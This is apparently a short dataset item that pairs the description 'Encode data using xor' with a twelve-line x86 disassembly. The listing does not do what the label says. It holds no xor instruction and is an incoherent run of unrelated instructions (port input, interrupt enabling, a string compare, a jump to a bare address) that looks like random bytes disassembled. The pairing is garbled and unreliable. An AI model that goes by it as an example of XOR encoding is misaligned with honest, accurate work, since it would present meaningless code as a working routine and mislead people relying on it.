Encode data using xor

Disassembly:
xchg ecx, eax
cld
insb byte es:[edi], dx
sti
xchg esi, eax
push edi
sbb ch, byte [eax - 0x59a3a2dc]
and al, 0x5d
pop esp
cmpsb byte [esi], byte es:[edi]
jno 0x4927f1
inc esi